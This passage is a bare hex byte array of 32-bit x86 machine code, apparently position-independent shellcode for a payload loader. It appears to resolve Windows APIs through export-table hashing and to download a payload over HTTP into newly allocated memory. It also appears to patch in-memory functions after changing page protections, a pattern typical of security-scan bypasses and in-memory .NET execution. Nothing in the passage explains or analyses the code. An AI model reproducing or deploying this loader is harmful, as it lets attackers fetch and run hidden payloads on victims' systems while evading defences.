0x08, 0x46, 0x83, 0xfe, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33, 0xf6, 0x8b,
0x84, 0xb7, 0xa4, 0x06, 0x00, 0x00, 0x3b, 0x04, 0xb3, 0x75, 0x0e, 0x46,
0x83, 0xfe, 0x04, 0x75, 0xee, 0x89, 0x11, 0xf0, 0xff, 0x42, 0x04, 0xeb,
0x1d, 0x33, 0xf6, 0x8b, 0x84, 0xb7, 0xb4, 0x06, 0x00, 0x00, 0x3b, 0x04,
0xb3, 0x75, 0x13, 0x46, 0x83, 0xfe, 0x04, 0x75, 0xee, 0x8d, 0x42, 0x08,
0x89, 0x01, 0xf0, 0xff, 0x42, 0x0c, 0x33, 0xc0, 0xeb, 0x08, 0x83, 0x21,
0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, 0x5b, 0xc2, 0x0c, 0x00,
0x8b, 0x44, 0x24, 0x18, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x18, 0x00,
0x8b, 0x44, 0x24, 0x04, 0x0f, 0xaf, 0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44,
0x24, 0x14, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc2, 0x14, 0x00, 0x8b, 0x44,
0x24, 0x04, 0x03, 0x44, 0x24, 0x08, 0xc3, 0x51, 0x53, 0x56, 0x8b, 0x74,
0x24, 0x10, 0x8d, 0x86, 0x58, 0x03, 0x00, 0x00, 0x50, 0xff, 0x56, 0x30,
0x8b, 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00, 0x00, 0x00,
0x55, 0x57, 0x8d, 0x86, 0xc0, 0x05, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56,
0x34, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00, 0xbf,
0x38, 0x14, 0x40, 0x00, 0x81, 0xef, 0x2c, 0x14, 0x40, 0x00, 0x0f, 0x88,
0x99, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57,
0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00,
0x57, 0xe8, 0xbf, 0x1b, 0x00, 0x00, 0xb9, 0x2c, 0x14, 0x40, 0x00, 0x81,
0xe9, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8, 0x23, 0x20,
0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff, 0x74,
0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 0xd0, 0x05, 0x00,
0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x74, 0x49,
0xbf, 0x4e, 0x14, 0x40, 0x00, 0xbb, 0x42, 0x14, 0x40, 0x00, 0x2b, 0xfb,
0x78, 0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57, 0x55, 0xff,
0x56, 0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x65, 0x1b, 0x00, 0x00,
0x81, 0xeb, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55, 0xe8, 0xce,
0x1f, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50, 0xff,
0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0, 0x40, 0xeb,
0x02, 0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x51, 0x53, 0x56,
0x8b, 0x74, 0x24, 0x10, 0x8d, 0x86, 0x64, 0x03, 0x00, 0x00, 0x50, 0xff,
0x56, 0x30, 0x8b, 0xd8, 0x85, 0xdb, 0x75, 0x06, 0x40, 0xe9, 0xc5, 0x00,
0x00, 0x00, 0x55, 0x57, 0x8d, 0x86, 0x70, 0x05, 0x00, 0x00, 0x50, 0x53,
0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xaa, 0x00, 0x00,
0x00, 0xbf, 0x50, 0x30, 0x40, 0x00, 0x81, 0xef, 0xa9, 0x13, 0x40, 0x00,
0x0f, 0x88, 0x99, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a,
0x40, 0x57, 0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00,
0x00, 0x00, 0x57, 0xe8, 0xd9, 0x1a, 0x00, 0x00, 0xb9, 0xa9, 0x13, 0x40,
0x00, 0x81, 0xe9, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc1, 0x50, 0x55, 0xe8,
0x3d, 0x1f, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10, 0x50,
0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x8d, 0x86, 0x90,
0x05, 0x00, 0x00, 0x50, 0x53, 0xff, 0x56, 0x34, 0x8b, 0xe8, 0x85, 0xed,
0x74, 0x49, 0xbf, 0x47, 0x30, 0x40, 0x00, 0xbb, 0x38, 0x30, 0x40, 0x00,
0x2b, 0xfb, 0x78, 0x3b, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x40, 0x57,
0x55, 0xff, 0x56, 0x48, 0x85, 0xc0, 0x74, 0x2b, 0x57, 0xe8, 0x7f, 0x1a,
0x00, 0x00, 0x81, 0xeb, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc3, 0x50, 0x55,
0xe8, 0xe8, 0x1e, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x10,
0x50, 0xff, 0x74, 0x24, 0x1c, 0x57, 0x55, 0xff, 0x56, 0x48, 0x33, 0xc0,
0x40, 0xeb, 0x02, 0x33, 0xc0, 0x5f, 0x5d, 0x5e, 0x5b, 0x59, 0xc3, 0x81,
0xec, 0x58, 0x02, 0x00, 0x00, 0x53, 0x56, 0x57, 0x6a, 0x3c, 0x5e, 0x33,
0xff, 0x8d, 0x44, 0x24, 0x28, 0x56, 0x57, 0x50, 0x89, 0x7c, 0x24, 0x1c,
0xbb, 0x00, 0x02, 0x60, 0x84, 0xe8, 0xcb, 0x1e, 0x00, 0x00, 0x8d, 0x44,
0x24, 0x70, 0x89, 0x74, 0x24, 0x34, 0x8b, 0xb4, 0x24, 0x74, 0x02, 0x00,
0x00, 0x83, 0xc4, 0x0c, 0x89, 0x44, 0x24, 0x38, 0x8d, 0x84, 0x24, 0x64,
0x01, 0x00, 0x00, 0x89, 0x44, 0x24, 0x54, 0xb8, 0x00, 0x01, 0x00, 0x00,
0x89, 0x44, 0x24, 0x3c, 0x89, 0x44, 0x24, 0x58, 0x8d, 0x44, 0x24, 0x28,
0x50, 0x68, 0x00, 0x00, 0x00, 0x10, 0x57, 0x8d, 0x86, 0xe8, 0x06, 0x00,
0x00, 0x50, 0xff, 0x96, 0x98, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84,
0xac, 0x01, 0x00, 0x00, 0x33, 0xc0, 0x83, 0x7c, 0x24, 0x34, 0x04, 0x57,
0x57, 0x0f, 0x94, 0xc0, 0x57, 0x89, 0x44, 0x24, 0x20, 0xb8, 0x00, 0x32,
0xe0, 0x84, 0x57, 0x57, 0x0f, 0x44, 0xd8, 0xff, 0x96, 0x9c, 0x00, 0x00,
0x00, 0x89, 0x44, 0x24, 0x24, 0x85, 0xc0, 0x0f, 0x84, 0x7f, 0x01, 0x00,
0x00, 0x57, 0x57, 0x6a, 0x03, 0x57, 0x57, 0xff, 0x74, 0x24, 0x54, 0x8d,
0x4c, 0x24, 0x7c, 0x51, 0x50, 0xff, 0x96, 0xa0, 0x00, 0x00, 0x00, 0x8b,
0xc8, 0x89, 0x4c, 0x24, 0x20, 0x85, 0xc9, 0x0f, 0x84, 0xfb, 0x00, 0x00,
0x00, 0x55, 0x57, 0x53, 0x57, 0x57, 0x57, 0x8d, 0x84, 0x24, 0x7c, 0x01,
0x00, 0x00, 0x50, 0x8d, 0x86, 0xe8, 0x07, 0x00, 0x00, 0x50, 0x51, 0xff,
0x96, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0xe8, 0x85, 0xed, 0x0f, 0x84, 0xca,
0x00, 0x00, 0x00, 0x39, 0x7c, 0x24, 0x18, 0x74, 0x20, 0xf7, 0xc3, 0x00,
0x10, 0x00, 0x00, 0x74, 0x18, 0x6a, 0x04, 0x8d, 0x44, 0x24, 0x20, 0xc7,
0x44, 0x24, 0x20, 0x80, 0x33, 0x00, 0x00, 0x50, 0x6a, 0x1f, 0x55, 0xff,
0x96, 0xa4, 0x00, 0x00, 0x00, 0x57, 0x57, 0x57, 0x57, 0x55, 0xff, 0x96,
0xb4, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x8a, 0x00, 0x00, 0x00,
0x57, 0x8d, 0x44, 0x24, 0x14, 0xc7, 0x44, 0x24, 0x14, 0x04, 0x00, 0x00,
0x00, 0x50, 0x8d, 0x44, 0x24, 0x1c, 0x50, 0x68, 0x13, 0x00, 0x00, 0x20,
0x55, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x67, 0x81,
0x7c, 0x24, 0x14, 0xc8, 0x00, 0x00, 0x00, 0x75, 0x5d, 0x57, 0x8d, 0x44,
0x24, 0x14, 0xc7, 0x44, 0x24, 0x14, 0x04, 0x00, 0x00, 0x00, 0x50, 0x8d,
0x9e, 0x18, 0x09, 0x00, 0x00, 0x53, 0x68, 0x05, 0x00, 0x00, 0x20, 0x55,
0x89, 0x3b, 0x89, 0x7b, 0x04, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, 0x85,
0xc0, 0x74, 0x33, 0x8b, 0x03, 0x0b, 0x43, 0x04, 0x74, 0x2c, 0x6a, 0x04,
0x68, 0x00, 0x30, 0x00, 0x00, 0xff, 0x33, 0x57, 0xff, 0x56, 0x3c, 0x89,
0x86, 0x20, 0x09, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x15, 0x8d, 0x4c, 0x24,
0x20, 0x89, 0x7c, 0x24, 0x20, 0x51, 0xff, 0x33, 0x50, 0x55, 0xff, 0x96,
0xa8, 0x00, 0x00, 0x00, 0x8b, 0xf8, 0x55, 0xff, 0x96, 0xac, 0x00, 0x00,
0x00, 0xff, 0x74, 0x24, 0x24, 0xff, 0x96, 0xac, 0x00, 0x00, 0x00, 0x5d,
0xff, 0x74, 0x24, 0x24, 0xff, 0x96, 0xac, 0x00, 0x00, 0x00, 0x85, 0xff,
0x74, 0x4e, 0x83, 0xbe, 0x34, 0x02, 0x00, 0x00, 0x03, 0x75, 0x45, 0xff,
0xb6, 0x18, 0x09, 0x00, 0x00, 0x8b, 0x9e, 0x20, 0x09, 0x00, 0x00, 0x8d,
0x86, 0x08, 0x09, 0x00, 0x00, 0x53, 0x50, 0x8d, 0x86, 0xf8, 0x08, 0x00,
0x00, 0x50, 0xe8, 0xd1, 0x19, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8d, 0x86,
0xf0, 0x07, 0x00, 0x00, 0xff, 0x76, 0x28, 0x50, 0xe8, 0x99, 0x18, 0x00,
0x00, 0x83, 0xc4, 0x1c, 0x3b, 0x83, 0x18, 0x05, 0x00, 0x00, 0x75, 0x0c,
0x3b, 0x93, 0x1c, 0x05, 0x00, 0x00, 0x75, 0x04, 0x8b, 0xc7, 0xeb, 0x02,
0x33, 0xc0, 0x5f, 0x5e, 0x5b, 0x81, 0xc4, 0x58, 0x02, 0x00, 0x00, 0xc3,
0x81, 0xec, 0xdc, 0x01, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24,
0xf0, 0x01, 0x00, 0x00, 0x57, 0x8b, 0x6e, 0x3c, 0x8b, 0x44, 0x2e, 0x78,
0x85, 0xc0, 0x0f, 0x84, 0xe5, 0x00, 0x00, 0x00, 0x8d, 0x3c, 0x30, 0x8b,
0x5f, 0x18, 0x85, 0xdb, 0x0f, 0x84, 0xd7, 0x00, 0x00, 0x00, 0x8b, 0x47,
0x1c, 0x33, 0xd2, 0x03, 0xc6, 0x89, 0x54, 0x24, 0x10, 0x89, 0x44, 0x24,
0x24, 0x8b, 0x47, 0x20, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x47,
0x24, 0x03, 0xc6, 0x89, 0x44, 0x24, 0x20, 0x8b, 0x47, 0x0c, 0x03, 0xc6,
0x8a, 0x08, 0x84, 0xc9, 0x74, 0x2a, 0x8b, 0x74, 0x24, 0x10, 0x8d, 0x94,
0x24, 0xe8, 0x00, 0x00, 0x00, 0x2b, 0xd0, 0x80, 0xc9, 0x20, 0x46, 0x88,
0x0c, 0x02, 0x40, 0x8a, 0x08, 0x84, 0xc9, 0x75, 0xf2, 0x89, 0x74, 0x24,
0x10, 0x8b, 0xb4, 0x24, 0xf4, 0x01, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x10,
0xff, 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8d, 0x84, 0x24, 0xec, 0x00,
0x00, 0x00, 0xc6, 0x84, 0x14, 0xec, 0x00, 0x00, 0x00, 0x00, 0xff, 0xb4,
0x24, 0x04, 0x02, 0x00, 0x00, 0x50, 0xe8, 0xcf, 0x17, 0x00, 0x00, 0x89,
0x44, 0x24, 0x24, 0x83, 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x14, 0x83, 0xc0,
0xfc, 0x89, 0x54, 0x24, 0x1c, 0x8d, 0x04, 0x98, 0x89, 0x44, 0x24, 0x10,
0xff, 0xb4, 0x24, 0x04, 0x02, 0x00, 0x00, 0x8b, 0x08, 0xff, 0xb4, 0x24,
0x04, 0x02, 0x00, 0x00, 0x03, 0xce, 0x51, 0xe8, 0x9e, 0x17, 0x00, 0x00,
0x33, 0x44, 0x24, 0x24, 0x83, 0xc4, 0x0c, 0x33, 0x54, 0x24, 0x1c, 0x3b,
0x84, 0x24, 0xf8, 0x01, 0x00, 0x00, 0x75, 0x09, 0x3b, 0x94, 0x24, 0xfc,
0x01, 0x00, 0x00, 0x74, 0x1d, 0x8b, 0x44, 0x24, 0x10, 0x83, 0xe8, 0x04,
0x89, 0x44, 0x24, 0x10, 0x83, 0xeb, 0x01, 0x75, 0xbb, 0x33, 0xc0, 0x5f,
0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xdc, 0x01, 0x00, 0x00, 0xc3, 0x8b, 0x44,
0x24, 0x20, 0x8b, 0x4c, 0x24, 0x24, 0x0f, 0xb7, 0x44, 0x58, 0xfe, 0x8b,
0x0c, 0x81, 0x03, 0xce, 0x3b, 0xcf, 0x72, 0x7d, 0x8b, 0x44, 0x2e, 0x7c,
0x03, 0xc7, 0x3b, 0xc8, 0x73, 0x73, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x1e,
0x8d, 0x7c, 0x24, 0x28, 0x8b, 0xf1, 0x2b, 0xf9, 0x83, 0xfa, 0x3c, 0x73,
0x11, 0x8a, 0x06, 0x88, 0x04, 0x37, 0x80, 0x3e, 0x2e, 0x74, 0x07, 0x42,
0x46, 0x80, 0x3e, 0x00, 0x75, 0xea, 0xc7, 0x44, 0x14, 0x29, 0x64, 0x6c,
0x6c, 0x00, 0x42, 0x03, 0xca, 0x33, 0xd2, 0x38, 0x11, 0x74, 0x17, 0x8d,
0x74, 0x24, 0x68, 0x2b, 0xf1, 0x83, 0xfa, 0x7f, 0x73, 0x0c, 0x8a, 0x01,
0x42, 0x88, 0x04, 0x0e, 0x41, 0x80, 0x39, 0x00, 0x75, 0xef, 0x8b, 0xb4,
0x24, 0xf0, 0x01, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x28, 0x50, 0xc6, 0x44,
0x14, 0x6c, 0x00, 0xff, 0x56, 0x30, 0x85, 0xc0, 0x74, 0x0d, 0x8d, 0x4c,
0x24, 0x68, 0x51, 0x50, 0xff, 0x56, 0x34, 0x8b, 0xc8, 0xeb, 0x02, 0x33,
0xc9, 0x8b, 0xc1, 0xe9, 0x5b, 0xff, 0xff, 0xff, 0x56, 0x8b, 0x74, 0x24,
0x0c, 0x57, 0x33, 0xff, 0x8b, 0x4e, 0x18, 0x85, 0xc9, 0x74, 0x09, 0x8b,
0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x18, 0x8b, 0x4e, 0x1c, 0x85,
0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x1c,
0x8b, 0x4e, 0x14, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50,
0x08, 0x89, 0x7e, 0x14, 0x8b, 0x4e, 0x10, 0x85, 0xc9, 0x74, 0x09, 0x8b,
0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x10, 0x8b, 0x4e, 0x0c, 0x85,
0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x7e, 0x0c,
0x8b, 0x4e, 0x08, 0x85, 0xc9, 0x74, 0x12, 0x8b, 0x01, 0x51, 0xff, 0x50,
0x2c, 0x8b, 0x46, 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x89, 0x7e,
0x08, 0x8b, 0x4e, 0x04, 0x85, 0xc9, 0x74, 0x09, 0x8b, 0x01, 0x51, 0xff,
0x50, 0x08, 0x89, 0x7e, 0x04, 0x8b, 0x0e, 0x85, 0xc9, 0x74, 0x08, 0x8b,
0x01, 0x51, 0xff, 0x50, 0x08, 0x89, 0x3e, 0x5f, 0x5e, 0xc3, 0x8b, 0x44,
0x24, 0x04, 0x83, 0xc0, 0x10, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04,
0x00, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc2, 0x0c, 0x00, 0xb8, 0x01, 0x40,
0x00, 0x80, 0xc2, 0x10, 0x00, 0x8b, 0x44, 0x24, 0x04, 0xff, 0x74, 0x24,
0x18, 0xff, 0x74, 0x24, 0x14, 0x8b, 0x40, 0x08, 0xff, 0x74, 0x24, 0x14,
0x50, 0x8b, 0x08, 0xff, 0x51, 0x28, 0xc2, 0x18, 0x00, 0xb8, 0x01, 0x40,
0x00, 0x80, 0xc2, 0x14, 0x00, 0x57, 0x8b, 0x7c, 0x24, 0x14, 0x85, 0xff,
0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x16, 0x56, 0x8b, 0x74,
0x24, 0x0c, 0x8b, 0x46, 0x08, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x04, 0x8b,
0x46, 0x08, 0x89, 0x07, 0x33, 0xc0, 0x5e, 0x5f, 0xc2, 0x10, 0x00, 0x8b,
0x44, 0x24, 0x08, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80,
0xeb, 0x08, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc2, 0x08,
0x00, 0x55, 0x8b, 0xec, 0xff, 0x75, 0x28, 0x8b, 0x45, 0x08, 0xff, 0x75,
0x24, 0xff, 0x75, 0x20, 0x8b, 0x48, 0x08, 0xff, 0x75, 0x1c, 0xff, 0x75,
0x18, 0x8b, 0x11, 0xff, 0x75, 0x0c, 0x50, 0x51, 0xff, 0x52, 0x2c, 0x5d,
0xc2, 0x24, 0x00, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x04, 0x02, 0x00, 0x00,
0x53, 0x56, 0x57, 0xe8, 0x2d, 0x15, 0x00, 0x00, 0x8b, 0x75, 0x0c, 0xb9,
0xd2, 0x1d, 0x40, 0x00, 0xbf, 0x75, 0x30, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0x13, 0x15, 0x00, 0x00, 0xb9, 0x8a,
0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04,
0xe8, 0x00, 0x15, 0x00, 0x00, 0xb9, 0x5b, 0x1e, 0x40, 0x00, 0x2b, 0xcf,
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x08, 0xe8, 0xed, 0x14, 0x00, 0x00,
0xb9, 0xf7, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
0x48, 0x0c, 0xe8, 0xda, 0x14, 0x00, 0x00, 0xb9, 0xcd, 0x1a, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x10, 0xe8, 0xc7, 0x14,
0x00, 0x00, 0xb9, 0xa9, 0x1a, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
0x06, 0x89, 0x48, 0x14, 0xe8, 0xb4, 0x14, 0x00, 0x00, 0xb9, 0x11, 0x1b,
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x18, 0xe8,
0xa1, 0x14, 0x00, 0x00, 0xb9, 0x0c, 0x12, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x1c, 0xe8, 0x8e, 0x14, 0x00, 0x00, 0xb9,
0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
0x20, 0xe8, 0x7b, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b,
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x24, 0xe8, 0x68, 0x14, 0x00,
0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x89, 0x48, 0x28, 0xe8, 0x55, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40,
0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x2c, 0xe8, 0x42,
0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8,
0x8b, 0x06, 0x89, 0x48, 0x30, 0xe8, 0x2f, 0x14, 0x00, 0x00, 0xb9, 0x43,
0x1e, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x34,
0xe8, 0x1c, 0x14, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf,
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x38, 0xe8, 0x09, 0x14, 0x00, 0x00,
0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
0x48, 0x3c, 0xe8, 0xf6, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x40, 0xe8, 0xe3, 0x13,
0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b,
0x06, 0x89, 0x48, 0x44, 0xe8, 0xd0, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11,
0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x48, 0xe8,
0xbd, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03,
0xc8, 0x8b, 0x06, 0x89, 0x48, 0x4c, 0xe8, 0xaa, 0x13, 0x00, 0x00, 0xb9,
0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48,
0x50, 0xe8, 0x97, 0x13, 0x00, 0x00, 0xb9, 0xa1, 0x1a, 0x40, 0x00, 0x2b,
0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x54, 0xe8, 0x84, 0x13, 0x00,
0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06,
0x89, 0x48, 0x58, 0xe8, 0x71, 0x13, 0x00, 0x00, 0xb9, 0xc5, 0x1a, 0x40,
0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x5c, 0xe8, 0x5e,
0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8,
0x8b, 0x06, 0x89, 0x48, 0x60, 0xe8, 0x4b, 0x13, 0x00, 0x00, 0xb9, 0x6b,
0x1e, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x64,
0xe8, 0x38, 0x13, 0x00, 0x00, 0xb9, 0x99, 0x1a, 0x40, 0x00, 0x2b, 0xcf,
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x68, 0xe8, 0x25, 0x13, 0x00, 0x00,
0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89,
0x48, 0x6c, 0xe8, 0x12, 0x13, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00,
0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x70, 0xe8, 0xff, 0x12,
0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x8b, 0x7d, 0x08,
0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x74, 0x8d, 0x85, 0xfc, 0xfd, 0xff,
0xff, 0x83, 0x66, 0x10, 0x00, 0x50, 0x8d, 0x87, 0xe8, 0x05, 0x00, 0x00,
0x89, 0x7e, 0x14, 0x50, 0x57, 0xe8, 0xb8, 0x12, 0x00, 0x00, 0x83, 0xc4,
0x0c, 0x8d, 0x5e, 0x04, 0x8d, 0x85, 0xfc, 0xfd, 0xff, 0xff, 0x53, 0x50,
0xff, 0x97, 0x94, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x13, 0x8b, 0x0b,
0x8d, 0x46, 0x08, 0x50, 0x8d, 0x87, 0x84, 0x06, 0x00, 0x00, 0x50, 0x8b,
0x11, 0x51, 0xff, 0x52, 0x18, 0x5f, 0x5e, 0x5b, 0xc9, 0xc3, 0x8b, 0x54,
0x24, 0x0c, 0x85, 0xd2, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb,
0x5f, 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xc9, 0x56, 0x8b, 0x74, 0x24,
0x0c, 0x57, 0x8b, 0x7e, 0x14, 0x8b, 0x84, 0x8f, 0xf4, 0x05, 0x00, 0x00,
0x3b, 0x04, 0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0xeb,
0x2a, 0x33, 0xc9, 0x8b, 0x84, 0x8f, 0x04, 0x06, 0x00, 0x00, 0x3b, 0x04,
0x8b, 0x75, 0x08, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33,
0xc9, 0x8b, 0x84, 0x8f, 0x84, 0x06, 0x00, 0x00, 0x3b, 0x04, 0x8b, 0x75,
0x0c, 0x41, 0x83, 0xf9, 0x04, 0x75, 0xee, 0x89, 0x32, 0x33, 0xc0, 0xeb,
0x08, 0x83, 0x22, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, 0x5b,
0xc2, 0x0c, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x6a, 0x00, 0x6a, 0x00, 0x6a,
0xfd, 0x8b, 0x40, 0x0c, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x38, 0x33, 0xc0,
0xc2, 0x08, 0x00, 0x8b, 0x4c, 0x24, 0x04, 0x83, 0xc8, 0xff, 0xf0, 0x0f,
0xc1, 0x41, 0x10, 0x48, 0xc2, 0x04, 0x00, 0x8b, 0x44, 0x24, 0x04, 0xff,
0x74, 0x24, 0x08, 0x8b, 0x40, 0x14, 0xff, 0x50, 0x4c, 0x33, 0xc0, 0xc2,
0x08, 0x00, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x56,
0x8b, 0x75, 0x08, 0x57, 0x81, 0xc6, 0x6c, 0x04, 0x00, 0x00, 0x8a, 0x0e,
0x33, 0xc0, 0x84, 0xc9, 0x74, 0x3f, 0x8d, 0x7d, 0x80, 0x8b, 0xd6, 0x2b,
0xfe, 0x80, 0xf9, 0x3b, 0x74, 0x12, 0x3d, 0x80, 0x00, 0x00, 0x00, 0x7d,
0x0b, 0x88, 0x0c, 0x17, 0x40, 0x42, 0x8a, 0x0a, 0x84, 0xc9, 0x75, 0xe9,
0x85, 0xc0, 0x74, 0x1d, 0xff, 0x75, 0x0c, 0x46, 0xc6, 0x44, 0x05, 0x80,
0x00, 0x03, 0xf0, 0x8d, 0x45, 0x80, 0x50, 0xe8, 0x56, 0x16, 0x00, 0x00,
